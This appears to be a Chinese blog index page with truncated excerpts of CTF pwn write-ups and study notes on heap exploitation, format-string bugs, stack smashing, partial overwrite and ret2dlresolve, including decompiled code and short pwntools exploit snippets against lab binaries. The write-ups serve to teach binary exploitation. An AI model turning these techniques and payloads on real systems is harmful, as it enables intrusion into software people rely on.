【WP】hitcon2014_stkof
unlink
题目描述菜单
add1234567891011121314151617signed __int64 add(){ __int64 size; // [rsp+0h] [rbp-80h] char *v2; // [rsp+8h] [rbp-78h] char s; // [rsp+10h] [rbp-70h] unsigned __int64 v4; // [rsp+78h] [rbp-8h] v4 = __readfsqword(0x28u); fgets(&s, 16, stdin); size = atoll(&s); v2 = (char *)malloc(size); if ( !v2 ) return 0xFFFFFFFFLL; ::s[++dword_602100] = v2; printf("%d\n", (unsigned int)dword_602100, size); return 0LL;}
输入size申请相应大小的堆指针记录在bss段上先自增,所以第一个chu ...
【WP】roarctf_2019_easy_pwn
off_by_one单字节溢出
题目描述calloc1234567891011121314151617181920212223242526272829303132333435__int64 sub_C46(){ __int64 result; // rax int v1; // ST0C_4 unsigned int i; // [rsp+4h] [rbp-1Ch] int v3; // [rsp+8h] [rbp-18h] signed int v4; // [rsp+8h] [rbp-18h] void *v5; // [rsp+10h] [rbp-10h] result = 0LL; for ( i = 0; i <= 15; ++i ) { result = *(&use + 4 * i); if ( !result ) { printf("size: "); v4 = input(v3); if ( v4 > 0 ) { ...
How2heap学习笔记-1
ubuntu 16.04glibc 2.23
first_fit12345678910111213141516171819202122232425262728293031323334353637#include <stdio.h>#include <stdlib.h>#include <string.h>int main(){ fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n"); fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n"); fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n" ...
【WP】babyheap_0ctf_2017
利用fastbin attack的一道入门题
题目描述菜单1234567===== Baby Heap in 2017 =====1. Allocate2. Fill3. Free4. Dump5. ExitCommand:
allocate操作
最多申请15个结构体存放三个元素:
标记是否被使用
记录size
指向存放内容的堆的指针
fill操作
可以看到首先会检查index是否在0~15范围内然后检查结构体标记位,是否为1;检查指向的堆块是否存在接着根据我们输入的size进行填充,存在堆溢出
free操作
如果标记位为1,把标记和size都置0,free指向堆块的指针并讲指针置0
dump操作若index在范围内,标记位为1,则输出堆的内容
思路由于本题无后门 无system,所以需要泄露libc基地址这里涉及到一个点:当small/large chunk被释放时,其fd和bk指向main_arena中的地址
所以我们可以构造一个small chunk并释放,得到libc附近的地址但是如何把这个地址打印出来呢?
这里就要通过构造来伪造一个堆块,把地址内容包括进去,从而打印出地 ...
【WP】HITCON-Training-Lab10
一道利用uaf的入门题
题目描述32位菜单123456789---------------------- HackNote ---------------------- 1. Add note 2. Delete note 3. Print note 4. Exit ----------------------Your choice :添加操作
申请八字节大小的结构体notelist[]数组记录了每个chunk的指针结构体的第一个元素是一个函数指针,调用puts打印内容然后输入size结构体的第二个元素是一个指针,指向申请的堆空间,存放contentread控制了输入的字节数,不存在堆溢出
删除操作
看到free后没有把指针置0所以存在uaf漏洞
打印操作
调用结构体第一个元素指向的函数
同时存在后门
思路先申请两个48字节大小的堆chunk0,chunk1(这里申请的大小稍微大点,不要在释放后落在fastbins[idx=0,size=0x10]内即可)
然后先后释放chunk0和ch ...
栈上的Partial-Overwrite
原理用来应对开启随机化(ASLR,PIE)的情况在开启了随机化(ASLR,PIE)后,无论高位地址如何变化,低十二位的页内偏移始终是固定的,也就是说如果我们能更改低位的偏移,就可以在一定程度上控制程序的执行流,绕过PIE保护
练习题12018 - 安恒杯 - babypieBUU复现
分析
开启了NX,PIE,canary保护存在两处栈溢出有后门第一处栈溢出最多只能覆盖完canary第二处栈溢出可以随意溢出
思路:
泄露canary。由于第一次栈溢出后会输出buf内容,而输出直到'\x00'结束,所以可以把canary最后一位覆盖掉从而使输出时把canary的值泄露出来
栈溢出覆盖返回地址最后两字节。开启了pie,返回地址和后门的地址实际上有一个半字节不同,当然覆盖最少一字节,所以最后半个字节随便猜。由于地址随机化并不会改变页内的偏移,所以可以覆盖低两字节为0x?A3E,有一定几率getshellexp1234567891011121314151617181920from pwn import*while True: try: #r = process( ...
Stack-Smash
stack smash是用来绕过canary的一种方式
原理在程序开启canary保护之后,如果我们在栈溢出时覆盖了canary,程序最后发现canary被修改的话,就会执行__stack_chk_fail函数来打印argv[0]指针指向的字符串,通常argv[0]指向的是程序名。代码如下1234567891011void __attribute__ ((noreturn)) __stack_chk_fail (void){ __fortify_fail ("stack smashing detected");}void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg){ /* The loop is added only to keep gcc happy. */ while (1) __libc_message (2, "*** %s ***: %s terminated\n", ...
【WP】HITCON-Training-Lab9
题目描述源码123456789101112131415161718192021222324252627282930#include <stdio.h>#include <unistd.h>#include <string.h>char buf[200] ;void do_fmt(){ while(1){ read(0,buf,200); if(!strncmp(buf,"quit",4)) break; printf(buf); } return ;}void play(){ puts("====================="); puts(" Magic echo Server"); puts("====================="); do_fmt(); return;}int main(){ setvbuf(stdout,0,2,0); play(); return; ...
【WP】HITCON-Training-Lab8
题目描述
格式化字符串漏洞的利用不过本题有四种利用方式,学习一下
exp1把magic覆盖为218
123456789101112from pwn import *p=process('./craxme')context.log_level = 'debug'magic_addr=0x0804A038 p.recvuntil(":")#payload = fmtstr_payload(7,{magic_addr:218})payload=p32(magic_addr) + "%214c"+"%7$n"#payload = '%0218c' + '%10$n' + 'a' + p32(magic_addr)p.sendline(payload)p.interactive()
exp2把magic覆盖为-87117812首先看看这个负数十六进制如何表示由于本题为32位程序,实际表示为0xFACEB00C
由于是 ...
Ret2dlresolve
背景ELF程序的基本相关结构.ELF可执行文件由ELF头部,程序头部表和其对应的段,节区头部表和对应的节组成。如果一个可执行文件参与动态链接,它的程序头部表将包含类型为PT_DYNAMIC的段,它包含.dynamic节区
12345678typedef struct { Elf32_Sword d_tag; union { Elf32_Word d_val; Elf32_Addr d_ptr; } d_un;} Elf32_Dyn;extern Elf32_Dyn_DYNAMIC[];
Elf32_Dyn结构由一个类型值(4字节的tag)加上一个value或指针(共用体),对于不同的类型,后面附加的数值有者不同的含义。下面是和延迟绑定相关的类型值的定义
d_tag类型
d_un定义
DT_STRTAB-5
动态链接字符串表的地址,d_ptr表示.dynstr的地址(address of string table)
DT_SYMTAB-6
动态链接符号表的地址,d_ptr ...







